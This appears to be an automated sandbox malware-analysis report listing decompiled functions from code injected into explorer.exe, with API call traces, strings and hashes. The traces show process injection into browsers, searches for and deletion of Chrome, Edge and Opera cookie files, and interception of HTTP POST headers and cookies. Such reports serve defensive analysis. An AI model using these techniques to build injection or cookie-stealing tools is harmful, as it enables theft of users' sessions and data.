Opcode Fuzzy Hash: 39c4b660841dce020d9207b1cc714f9f6248fb3d42e9056219a9e1811dbc8204
Instruction Fuzzy Hash: 7001DE39424221FBC628FB25EC4CA667F58AF10201B048599A9118B194CBBA96C5DAA0

Function 03222EA8 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIA.KERNELBASE(chrome.exe|opera.exe|msedge.exe,?,00000000,?,03223CD2), ref: 03222EB4

Part of subcall function 03222E1B: OpenProcess.KERNEL32(00001000,00000000,?,?,00000001,?,03222EC5), ref: 03222E27
Part of subcall function 03222E1B: NtQueryInformationProcess.NTDLL(00000000,0000003C,00000000,00010006,?), ref: 03222E52
Part of subcall function 03222E1B: NtQueryInformationProcess.NTDLL(00000000,0000003C,00000000,?,?), ref: 03222E7F
Part of subcall function 03222E1B: StrStrIW.SHLWAPI(?,NetworkService), ref: 03222E92

Strings

chrome.exe|opera.exe|msedge.exe, xrefs: 03222EAB

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: Process$InformationQuery$Open
String ID: chrome.exe|opera.exe|msedge.exe
API String ID: 4117927671-3743313796
Opcode ID: b1e726133f3e0478639d39ee7ec4bb7fbf4edc6fc8946de3c295a6eed577cefc
Instruction ID: 63723b9be142e37c2b763a82fc0e3583431ddaeb2960d9db49c759ec67bbe84d
Opcode Fuzzy Hash: b1e726133f3e0478639d39ee7ec4bb7fbf4edc6fc8946de3c295a6eed577cefc
Instruction Fuzzy Hash: 8AD0A9323203316B576DB97B6C0982FA88DCACA862306453EE802C7200EA819C8342E0

Function 03221235 Relevance: 3.0, APIs: 2, Instructions: 23
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 0322123F
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000,?,00000000,03223C33), ref: 03221251

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: File$MappingOpenView
String ID:
API String ID: 3439327939-0
Opcode ID: 6c224f9030218a0870cdce3f4390a32246accf77c0448ec3cb5cca05b359bfe4
Instruction ID: d1f2c7673b9d066449d4bce67885f48fe82b57802e5806be68987d0482fdd052
Opcode Fuzzy Hash: 6c224f9030218a0870cdce3f4390a32246accf77c0448ec3cb5cca05b359bfe4
Instruction Fuzzy Hash: D2D017327152317BE3386ABB6C0CF83AE9DDF96AE1B058125B509D2140D6608860C2F0

Function 03221261 Relevance: 3.0, APIs: 2, Instructions: 8
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnmapViewOfFile.KERNEL32(00000000,00000000,03223C5E,00000001), ref: 03221265
CloseHandle.KERNELBASE(?), ref: 0322126C

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: CloseFileHandleUnmapView
String ID:
API String ID: 2381555830-0
Opcode ID: ebcd01f59458d0330a9d36323fe6aea853bd76caf82dcc2f0744f33f42cd8739
Instruction ID: 04ad9f1d053893b6532d00f971fdc157f90fbd8440887cde4bc61d67363cc8d6
Opcode Fuzzy Hash: ebcd01f59458d0330a9d36323fe6aea853bd76caf82dcc2f0744f33f42cd8739
Instruction Fuzzy Hash: DFB09236429020E7823837667C0C8CA3A189A69221302D140B00E8200846240A8186A8

Function 03221000 Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,00000208,03221418), ref: 03221003
RtlAllocateHeap.NTDLL(00000000), ref: 0322100A

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: e61b5b419c477000bd00002e0295ee0d2739decc76b8fd9e35ca45f8f1705757
Instruction ID: 0457890811eb2fcfe37a1a70efa8adc765c17088bb528bbfe2df5b113b70ba69
Opcode Fuzzy Hash: e61b5b419c477000bd00002e0295ee0d2739decc76b8fd9e35ca45f8f1705757
Instruction Fuzzy Hash: 84A012B0510100BBDE1837A1BC0DF153518F750301F00D004710681044896001548F20

Non-executed Functions

Function 03221FE5 Relevance: 47.5, APIs: 23, Strings: 4, Instructions: 208
injectionnativesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03221274: VirtualQuery.KERNEL32(?,?,0000001C), ref: 03221281

OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000,?,00000001,7556E800), ref: 0322201A
NtSetInformationProcess.NTDLL(00000000,00000034,?), ref: 03222055
NtUnmapViewOfSection.NTDLL(000000FF,00000000), ref: 032220E5
RtlMoveMemory.NTDLL(00000000,032250A0,00000016), ref: 0322210C
RtlMoveMemory.NTDLL(-00000016,00000363), ref: 03222134
NtUnmapViewOfSection.NTDLL(000000FF,-00000016), ref: 03222144
CreateMutexA.KERNEL32(00000000,00000000,opera_shared_counter), ref: 0322215E
GetLastError.KERNEL32 ref: 03222166
CloseHandle.KERNEL32(00000000), ref: 03222174
Sleep.KERNEL32(000003E8), ref: 0322217B
GetModuleHandleA.KERNEL32(ntdll,atan), ref: 03222191
GetProcAddress.KERNEL32(00000000), ref: 03222198
ReadProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 032221AE
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 032221D8
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 032221EB
CloseHandle.KERNEL32(00000000), ref: 032221F2
Sleep.KERNEL32(000001F4), ref: 032221F9
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 0322220D
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 03222224
CloseHandle.KERNEL32(00000000), ref: 03222231
CloseHandle.KERNEL32(?), ref: 03222237
CloseHandle.KERNEL32(?), ref: 0322223D
CloseHandle.KERNEL32(00000000), ref: 03222240

Strings

opera_shared_counter, xrefs: 03222157
ntdll, xrefs: 0322218C
0-Fw, xrefs: 032220DC
atan, xrefs: 03222187

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: Handle$Close$MemoryProcess$Create$MoveRemoteSectionSleepThreadUnmapViewWrite$AddressErrorInformationLastModuleMutexOpenProcQueryReadVirtual
String ID: 0-Fw$atan$ntdll$opera_shared_counter
API String ID: 1066286714-2890147644
Opcode ID: acb68d32738f095d54c6768d17fac5528688d37154eeb5ff32c8313cb5c2d216
Instruction ID: 883647b3167d6b4ad7feb258e6e16c0cb56cf0af633a0cc0d15d00ae70b360fe
Opcode Fuzzy Hash: acb68d32738f095d54c6768d17fac5528688d37154eeb5ff32c8313cb5c2d216
Instruction Fuzzy Hash: 8961AF31504325BFD320EF62DC88E6BBFECEB58750F044619B948D3251D775DA848B61

Function 032215BE Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 87
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03221000: GetProcessHeap.KERNEL32(00000008,00000208,03221418), ref: 03221003
Part of subcall function 03221000: RtlAllocateHeap.NTDLL(00000000), ref: 0322100A

PathCombineW.SHLWAPI(00000000,00000000,*.*,755AF770,00000000,76EEB2E0,774783D0), ref: 032215EB
FindFirstFileW.KERNEL32(00000000,?), ref: 032215F7
lstrcmpiW.KERNEL32(?,032241C8), ref: 03221623
lstrcmpiW.KERNEL32(?,032241CC), ref: 03221633
PathCombineW.SHLWAPI(00000000,?,?), ref: 0322164C
PathMatchSpecW.SHLWAPI(?,Cookies*), ref: 03221661
PathCombineW.SHLWAPI(00000000,?,?), ref: 0322167E
FindNextFileW.KERNEL32(00000000,00000010), ref: 0322169C
FindClose.KERNEL32(00000000), ref: 032216AB

Strings

*.*, xrefs: 032215DE
Cookies*, xrefs: 0322165F

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: Path$CombineFind$FileHeaplstrcmpi$AllocateCloseFirstMatchNextProcessSpec
String ID: *.*$Cookies*
API String ID: 4256701249-3228320225
Opcode ID: 54ce34522268b9d1515690fa143714968ba6357af3a16ed1cd44e90ffff7fc9c
Instruction ID: 92baee3def360814ef50d24533d37c4d040e8d0a43b8383244b90a7c2083c291
Opcode Fuzzy Hash: 54ce34522268b9d1515690fa143714968ba6357af3a16ed1cd44e90ffff7fc9c
Instruction Fuzzy Hash: F921A7302143257FD314FA62EC48E7F7F9CEB98781F080529F941D3244DA74EA944AA2

Function 032214D8 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 70fileCOMMON

Download Yara Rule

APIs

Part of subcall function 032213FE: wsprintfW.USER32 ref: 0322142A
Part of subcall function 032213FE: FindFirstFileW.KERNEL32(00000000,?), ref: 03221439
Part of subcall function 032213FE: wsprintfW.USER32 ref: 03221476
Part of subcall function 032213FE: RemoveDirectoryW.KERNEL32(00000000), ref: 0322149C
Part of subcall function 032213FE: FindNextFileW.KERNEL32(00000000,00000010), ref: 032214AF
Part of subcall function 032213FE: FindClose.KERNEL32(00000000), ref: 032214BA

Part of subcall function 03221000: GetProcessHeap.KERNEL32(00000008,00000208,03221418), ref: 03221003
Part of subcall function 03221000: RtlAllocateHeap.NTDLL(00000000), ref: 0322100A

wsprintfW.USER32 ref: 0322150D
FindFirstFileW.KERNEL32(00000000,?), ref: 0322151C
wsprintfW.USER32 ref: 03221557
SetFileAttributesW.KERNEL32(00000000,00000020), ref: 0322156A
DeleteFileW.KERNEL32(00000000), ref: 03221571
FindNextFileW.KERNEL32(00000000,00000010), ref: 03221584
FindClose.KERNEL32(00000000), ref: 0322158F

Strings

*.*, xrefs: 032214FB
%s%s, xrefs: 03221503, 03221551

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: FileFind$wsprintf$CloseFirstHeapNext$AllocateAttributesDeleteDirectoryProcessRemove
String ID: %s%s$*.*
API String ID: 2055899612-705776850
Opcode ID: 007d40ed8d3952a7bc7a363c10dff8aa7333e20d379033abc4c47db362f096ce
Instruction ID: c64d6a3ccfa93b2c05d2e70e5cb5be7d9540b139089befb6791f7ad2c51ceae9
Opcode Fuzzy Hash: 007d40ed8d3952a7bc7a363c10dff8aa7333e20d379033abc4c47db362f096ce
Instruction Fuzzy Hash: 4A1124312103207FD324FB36AC4CE6F7F9CEF95654F000559FE5286282DB74AAE586A6

Function 032213FE Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 69fileCOMMON

Download Yara Rule

APIs

Part of subcall function 03221000: GetProcessHeap.KERNEL32(00000008,00000208,03221418), ref: 03221003
Part of subcall function 03221000: RtlAllocateHeap.NTDLL(00000000), ref: 0322100A

wsprintfW.USER32 ref: 0322142A
FindFirstFileW.KERNEL32(00000000,?), ref: 03221439
wsprintfW.USER32 ref: 03221476

Part of subcall function 032214D8: wsprintfW.USER32 ref: 0322150D
Part of subcall function 032214D8: FindFirstFileW.KERNEL32(00000000,?), ref: 0322151C
Part of subcall function 032214D8: wsprintfW.USER32 ref: 03221557
Part of subcall function 032214D8: SetFileAttributesW.KERNEL32(00000000,00000020), ref: 0322156A
Part of subcall function 032214D8: DeleteFileW.KERNEL32(00000000), ref: 03221571
Part of subcall function 032214D8: FindNextFileW.KERNEL32(00000000,00000010), ref: 03221584
Part of subcall function 032214D8: FindClose.KERNEL32(00000000), ref: 0322158F

RemoveDirectoryW.KERNEL32(00000000), ref: 0322149C
FindNextFileW.KERNEL32(00000000,00000010), ref: 032214AF
FindClose.KERNEL32(00000000), ref: 032214BA

Strings

*.*, xrefs: 03221418
%s%s, xrefs: 03221420
%s%s\, xrefs: 03221470

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: FileFind$wsprintf$CloseFirstHeapNext$AllocateAttributesDeleteDirectoryProcessRemove
String ID: %s%s$%s%s\$*.*
API String ID: 2055899612-4093207852
Opcode ID: dcbbdcdee3393bab948b866a06f9f496c2fa9667814a34f5674f3d4f03e3a5b3
Instruction ID: 62b522d571a24f88dfc37dc7da204dd13b4057a15b34a54e54f7c9c607b1e608
Opcode Fuzzy Hash: dcbbdcdee3393bab948b866a06f9f496c2fa9667814a34f5674f3d4f03e3a5b3
Instruction Fuzzy Hash: FF11D2302143607BD324FB26EC48E7FBEDCAFD5705F04052DF95582182DB796999C662

Function 0322118D Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 68encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 032211A9
CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 032211C1
lstrlen.KERNEL32(?,00000000), ref: 032211C9
CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 032211D4
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 032211EE
wsprintfA.USER32 ref: 03221205
CryptDestroyHash.ADVAPI32(?), ref: 0322121E
CryptReleaseContext.ADVAPI32(?,00000000), ref: 03221228

Strings

%02X, xrefs: 032211FF

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireCreateDataDestroyParamReleaselstrlenwsprintf
String ID: %02X
API String ID: 3341110664-436463671
Opcode ID: f0cb59301fabeb1688c4fc349c24a1cdb57ddf680fe7eeb220585049fb19ef4a
Instruction ID: 67c35db826a24fd406ed4d8131a742023c717ec3d0f2043e033a4e5173ce2fa4
Opcode Fuzzy Hash: f0cb59301fabeb1688c4fc349c24a1cdb57ddf680fe7eeb220585049fb19ef4a
Instruction Fuzzy Hash: 09115B71900108BFDB21AF96FC8CEAEBFBCEB48700F108065F504E2110DA715E919B60

Function 03222E1B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54nativeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00001000,00000000,?,?,00000001,?,03222EC5), ref: 03222E27

Part of subcall function 03221000: GetProcessHeap.KERNEL32(00000008,00000208,03221418), ref: 03221003
Part of subcall function 03221000: RtlAllocateHeap.NTDLL(00000000), ref: 0322100A

NtQueryInformationProcess.NTDLL(00000000,0000003C,00000000,00010006,?), ref: 03222E52
NtQueryInformationProcess.NTDLL(00000000,0000003C,00000000,?,?), ref: 03222E7F
StrStrIW.SHLWAPI(?,NetworkService), ref: 03222E92

Part of subcall function 03221011: GetProcessHeap.KERNEL32(00000000,00000000,00000000,032214CB), ref: 03221020
Part of subcall function 03221011: HeapFree.KERNEL32(00000000), ref: 03221027

Strings

NetworkService, xrefs: 03222E8A

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: Process$Heap$InformationQuery$AllocateFreeOpen
String ID: NetworkService
API String ID: 1656241333-2019834739
Opcode ID: c22a7e761214075691784a472edfa4a3d75cc1774285b4ea064ea8fa9b29162b
Instruction ID: a6ddf2bde9dc87176867bfb12097b9e5e9e2dedef17e27ee8fcf67c1edc2c5e7
Opcode Fuzzy Hash: c22a7e761214075691784a472edfa4a3d75cc1774285b4ea064ea8fa9b29162b
Instruction Fuzzy Hash: 9701B165210355BFD324BA239C48F6B7E9DEB98792F008429B90AD6145DAA5A8808660

Function 03221E4C Relevance: 6.1, APIs: 4, Instructions: 101libraryloaderCOMMON

Download Yara Rule

APIs

RtlMoveMemory.NTDLL(?,?,?), ref: 03221E83
LoadLibraryA.KERNEL32(?,03226058,00000000,00000000,75572EE0,00000000,032220DC,?), ref: 03221EAB
GetProcAddress.KERNEL32(00000000,-00000002), ref: 03221ED8
LdrProcessRelocationBlock.NTDLL(?,?,00000008,?), ref: 03221F29

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: AddressBlockLibraryLoadMemoryMoveProcProcessRelocation
String ID:
API String ID: 3827878703-0
Opcode ID: afd726bb9c20f0756106961db05e95e3d1a8f0fe1e925a07b65082279fcef80b
Instruction ID: ba3f78ea9b91d0d7c8b6c19065223ab157cae25f428adcf3e79e7101bfd71141
Opcode Fuzzy Hash: afd726bb9c20f0756106961db05e95e3d1a8f0fe1e925a07b65082279fcef80b
Instruction Fuzzy Hash: C2317072710226BBCB28CF29CC84F66BB98FF05354B18456CE856C7601D765F8A5C7A0

Function 03222974 Relevance: 35.2, APIs: 9, Strings: 11, Instructions: 157
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03221141: lstrlen.KERNEL32(?,?,?,00000000,?,032229DD,00000001), ref: 03221150
Part of subcall function 03221141: lstrlen.KERNEL32(:method POST,?,00000000,?,032229DD,00000001), ref: 03221155

Part of subcall function 03221000: GetProcessHeap.KERNEL32(00000008,00000208,03221418), ref: 03221003
Part of subcall function 03221000: RtlAllocateHeap.NTDLL(00000000), ref: 0322100A

Part of subcall function 0322104C: VirtualAlloc.KERNEL32(00000000,00001105,00003000,00000040,03222A16,?,00000001), ref: 03221056

Part of subcall function 0322285F: RtlMoveMemory.NTDLL(?,-00000001,-00000001), ref: 032228A2

lstrcat.KERNEL32(00000000,dyn_header_host), ref: 03222A4A
lstrcat.KERNEL32(00000001,dyn_header_path), ref: 03222A6C
lstrcat.KERNEL32(?,dyn_header_ua), ref: 03222A8D
RtlZeroMemory.NTDLL(?,0000000A), ref: 03222A96
StrToIntA.SHLWAPI(00000000), ref: 03222AB9
wnsprintfA.SHLWAPI ref: 03222B0D
lstrcat.KERNEL32(00000000,?), ref: 03222B2D
lstrcat.KERNEL32(00000000,{:!:}), ref: 03222B35
lstrcat.KERNEL32(00000000,?), ref: 03222B3C

Strings

dyn_header_path, xrefs: 03222A66
dyn_header_ua, xrefs: 03222A87
content-length , xrefs: 03222AA0
{:!:}, xrefs: 03222B2F
:authority , xrefs: 03222A17
host , xrefs: 03222A33
%s (HTTP2){:!:}%s%s{:!:}%s{:!:}, xrefs: 03222B06
dyn_header_host, xrefs: 03222A44
:path , xrefs: 03222A50
user-agent , xrefs: 03222A72
:method POST, xrefs: 032229D1

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: lstrcat$HeapMemorylstrlen$AllocAllocateMoveProcessVirtualZerownsprintf
String ID: %s (HTTP2){:!:}%s%s{:!:}%s{:!:}$:authority $:method POST$:path $content-length $dyn_header_host$dyn_header_path$dyn_header_ua$host $user-agent ${:!:}
API String ID: 2605944266-950501416
Opcode ID: a40f93ba0e5149ed0f2d6b8d2b7e407119a87e779b79eed0295175edec4c5eab
Instruction ID: ed314800bde859b7bdae49fcedaa9159929c46fdfa4c90a78d0044db88526b93
Opcode Fuzzy Hash: a40f93ba0e5149ed0f2d6b8d2b7e407119a87e779b79eed0295175edec4c5eab
Instruction Fuzzy Hash: 0951C134614361BFC715FF268C84F2EBEDAAF88204F04085CF8455B241CBB5ED858762

Function 03222FAA Relevance: 29.9, APIs: 8, Strings: 9, Instructions: 124
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03221141: lstrlen.KERNEL32(?,?,?,00000000,?,032229DD,00000001), ref: 03221150
Part of subcall function 03221141: lstrlen.KERNEL32(:method POST,?,00000000,?,032229DD,00000001), ref: 03221155

RtlZeroMemory.NTDLL(?,0000000A), ref: 03222FFA
StrToIntA.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,03223347), ref: 03223024
lstrlen.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,03223347), ref: 03223052
wsprintfA.USER32 ref: 032230B9
lstrcat.KERNEL32(00000000,00000000), ref: 032230E5
lstrcat.KERNEL32(?,{:!:}), ref: 032230F8
lstrlen.KERNEL32(?,?,?,?,?,?,?,03226038), ref: 03223109
RtlMoveMemory.NTDLL(00000000), ref: 03223112

Part of subcall function 03221011: GetProcessHeap.KERNEL32(00000000,00000000,00000000,032214CB), ref: 03221020
Part of subcall function 03221011: HeapFree.KERNEL32(00000000), ref: 03221027

Strings

Content-Length:, xrefs: 03223004
, xrefs: 03223068
application/json, xrefs: 03222FC5
Host:, xrefs: 0322303B
{:!:}, xrefs: 032230F2
%s{:!:}%s{:!:}%s{:!:}, xrefs: 032230B3
Cookie:, xrefs: 032230CE
User-Agent:, xrefs: 03223094
application/x-www-form-urlencoded, xrefs: 03222FAD

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: lstrlen$HeapMemorylstrcat$FreeMoveProcessZerowsprintf
String ID: $%s{:!:}%s{:!:}%s{:!:}$Content-Length:$Cookie:$Host:$User-Agent:$application/json$application/x-www-form-urlencoded${:!:}
API String ID: 2886538537-1627781280
Opcode ID: a5e5aa8df1be211eb6dbf9d666455775430f2f19c1f4b379641f423979c43963
Instruction ID: fc31cb63d258a50d87ab9a5d1bb8a386565afa26bed69a525f4cb9cd14db00c3
Opcode Fuzzy Hash: a5e5aa8df1be211eb6dbf9d666455775430f2f19c1f4b379641f423979c43963
Instruction Fuzzy Hash: FD3116353203657BD714FA229C55F6F3E99DBD0B40F00842CF8028F285DAB9E9858BA1

Function 03223709 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 73
stringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03221363: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 03221374
Part of subcall function 03221363: Process32First.KERNEL32(00000000,?), ref: 03221393
Part of subcall function 03221363: CloseHandle.KERNEL32(00000000), ref: 032213CB

Part of subcall function 03221363: lstrcmpiA.KERNEL32(?), ref: 032213A3
Part of subcall function 03221363: Process32Next.KERNEL32(00000000,00000128), ref: 032213C0

Sleep.KERNEL32(000003E8,?,00000000,00000001,?,?,03223839,?,03223C53,00000001), ref: 03223731

Part of subcall function 03221000: GetProcessHeap.KERNEL32(00000008,00000208,03221418), ref: 03221003
Part of subcall function 03221000: RtlAllocateHeap.NTDLL(00000000), ref: 0322100A

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001C,00000000,?,00000000,00000001,?,?,03223839,?,03223C53,00000001), ref: 03223752
lstrcatW.KERNEL32(00000000,\Google\Chrome\User Data\,?,00000000,00000001,?,?,03223839,?,03223C53,00000001), ref: 03223764

Part of subcall function 032215BE: PathCombineW.SHLWAPI(00000000,00000000,*.*,755AF770,00000000,76EEB2E0,774783D0), ref: 032215EB
Part of subcall function 032215BE: FindFirstFileW.KERNEL32(00000000,?), ref: 032215F7
Part of subcall function 032215BE: lstrcmpiW.KERNEL32(?,032241C8), ref: 03221623
Part of subcall function 032215BE: lstrcmpiW.KERNEL32(?,032241CC), ref: 03221633
Part of subcall function 032215BE: PathCombineW.SHLWAPI(00000000,?,?), ref: 0322164C
Part of subcall function 032215BE: FindNextFileW.KERNEL32(00000000,00000010), ref: 0322169C
Part of subcall function 032215BE: FindClose.KERNEL32(00000000), ref: 032216AB

RtlZeroMemory.NTDLL(00000000,00001000), ref: 0322377A
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001C,00000000,?,00000000,00000001,?,?,03223839,?,03223C53,00000001), ref: 03223783
lstrcatW.KERNEL32(00000000,\Microsoft\Edge\User Data\,?,00000000,00000001,?,?,03223839,?,03223C53,00000001), ref: 0322378F
RtlZeroMemory.NTDLL(00000000,00001000), ref: 032237A3
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000,?,00000000,00000001,?,?,03223839,?,03223C53,00000001), ref: 032237AC
lstrcatW.KERNEL32(00000000,\Opera Software\Opera Stable\,?,00000000,00000001,?,?,03223839,?,03223C53,00000001), ref: 032237B8

Strings

\Google\Chrome\User Data\, xrefs: 0322375E
opera.exe, xrefs: 03223718
Cookies*, xrefs: 03223766, 03223791, 032237BA
msedge.exe, xrefs: 03223722
\Microsoft\Edge\User Data\, xrefs: 03223789
\Opera Software\Opera Stable\, xrefs: 032237B2
chrome.exe, xrefs: 0322370E

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: Path$FindFolderSpeciallstrcatlstrcmpi$CloseCombineFileFirstHeapMemoryNextProcess32Zero$AllocateCreateHandleProcessSleepSnapshotToolhelp32
String ID: Cookies*$\Google\Chrome\User Data\$\Microsoft\Edge\User Data\$\Opera Software\Opera Stable\$chrome.exe$msedge.exe$opera.exe
API String ID: 909495591-1175993956
Opcode ID: ec8c9c0d8d1a206c011f8c3204177114d92cabb7d7c615f1febe570ea94e51f4
Instruction ID: e5c3217217f9b1df2baa4213cc0b7c4cffc79ded29bcefaced4f4b048e0134f1
Opcode Fuzzy Hash: ec8c9c0d8d1a206c011f8c3204177114d92cabb7d7c615f1febe570ea94e51f4
Instruction Fuzzy Hash: DE113E243A177836E434F6232C82F7FAC4ACFA1A81F110004F6066EAC4CED4AAC105AE

Function 032235D4 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 64
stringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03221363: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 03221374
Part of subcall function 03221363: Process32First.KERNEL32(00000000,?), ref: 03221393
Part of subcall function 03221363: CloseHandle.KERNEL32(00000000), ref: 032213CB

Part of subcall function 03221363: lstrcmpiA.KERNEL32(?), ref: 032213A3
Part of subcall function 03221363: Process32Next.KERNEL32(00000000,00000128), ref: 032213C0

Sleep.KERNEL32(000003E8,?,00000000,?,0322382F,?,03223C53,00000001), ref: 032235FA

Part of subcall function 03221000: GetProcessHeap.KERNEL32(00000008,00000208,03221418), ref: 03221003
Part of subcall function 03221000: RtlAllocateHeap.NTDLL(00000000), ref: 0322100A

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001C,00000000,?,00000000,?,0322382F,?,03223C53,00000001), ref: 03223613
lstrcatW.KERNEL32(00000000,\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\,?,00000000,?,0322382F,?,03223C53,00000001), ref: 03223623
wsprintfW.USER32 ref: 03223644

Part of subcall function 032214D8: wsprintfW.USER32 ref: 0322150D
Part of subcall function 032214D8: FindFirstFileW.KERNEL32(00000000,?), ref: 0322151C
Part of subcall function 032214D8: wsprintfW.USER32 ref: 03221557
Part of subcall function 032214D8: SetFileAttributesW.KERNEL32(00000000,00000020), ref: 0322156A
Part of subcall function 032214D8: DeleteFileW.KERNEL32(00000000), ref: 03221571
Part of subcall function 032214D8: FindNextFileW.KERNEL32(00000000,00000010), ref: 03221584
Part of subcall function 032214D8: FindClose.KERNEL32(00000000), ref: 0322158F

Part of subcall function 03221011: GetProcessHeap.KERNEL32(00000000,00000000,00000000,032214CB), ref: 03221020
Part of subcall function 03221011: HeapFree.KERNEL32(00000000), ref: 03221027

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,00000021,00000000,?,00000000,?,0322382F,?,03223C53,00000001), ref: 03223672
lstrcatW.KERNEL32(00000000,03224614,?,00000000,?,0322382F,?,03223C53,00000001), ref: 03223682

Strings

*.*, xrefs: 0322364D, 0322368B
microsoftedgecp.exe, xrefs: 032235EB
%s%s, xrefs: 0322363E
iexplore.exe, xrefs: 032235D7
microsoftedge.exe, xrefs: 032235E1
\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\, xrefs: 0322361D

Memory Dump Source

